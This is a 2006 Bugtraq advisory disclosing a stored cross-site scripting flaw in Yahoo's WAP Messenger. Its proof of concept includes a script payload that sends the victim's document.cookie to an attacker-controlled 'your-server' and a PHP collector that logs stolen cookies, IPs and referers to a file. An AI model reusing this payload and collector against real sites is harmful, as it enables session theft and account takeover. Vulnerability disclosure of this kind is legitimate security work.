bugtraq - [ECHO_ADV_47$2006] WAP Y! Messenger Cross-Site Scripting Vulnerability

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Date: 17 Sep 2006 09:53:05 -0000
From: erdc@...o.or.id
To: bugtraq@...urityfocus.com
Subject: [ECHO_ADV_47$2006] WAP Y! Messenger Cross-Site Scripting
 Vulnerability

ECHO_ADV_47$2006

------------------------------------------------------------------------------
[ECHO_ADV_47$2006] WAP Y! Messenger Cross-Site Scripting Vulnerability
------------------------------------------------------------------------------

Author		: Dedi Dwianto
Date Found	: Sep, 14th 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv47-theday-2006.txt
Critical Lvl	: Medium Critical
Impact		: Cross Site Scripting
Where		: From Remote
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Affected Yahoo Service description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Wireless Application Protocol or WAP is an open international standard for applications thatuse wireless communication. 
Its principal application is to enable access to the internet from a mobile phone or PDA.
Yahoo! Have wap site which provide mobile services such as messenger,mail and news via
mobile phone or PDA.

Service		: Y! Messenger
URL		: http://mm.yahoo.com/

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~
Y! Wap messenger allow user can execute the HTML code if message want to save.

Proof Of Concept:
~~~~~~~~~~~~~~~
[1] Open and login with wap browser , 
    url : http://mm.yahoo.com
[2] Goto :
    http://mm.yahoo.com/xhtml?k=[id]&u=[your_nick]&s=[your session]&m=[your_nick]_dummymin&c=707&p=&d=[your_friend_id]*[your_nick]*[random number]*[XSS HERE]

Attacker Stealting Cookie for get Account :
[1] Send message to victim with connected via mobile/wap .
    message :
    ----begin----
    Hello , please save my message :)
    <script>document.location='http://your-server/get_cookie.php?ambil=' + document.cookie</script>	
    ----end -----

    ----get_cookie.php----
    <?php
	$cookie = $_GET['ambil'];
	$ip = getenv ('REMOTE_ADDR');
	$date=date("j F, Y, g:i a");
	$referer=getenv ('HTTP_REFERER');
	$fp = fopen('cookies.txt', 'a');
	fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br><br>');
	fclose($fp);
    ?>
    ----end -----
    change permission file cookies.txt to 777
    
    
Solution:
~~~~~~~
- Don't Save any message with html code :).

---------------------------------------------------------------------------
Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ az001,boom3x,mathdule,angelia
~ newbie_hacker@...oogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
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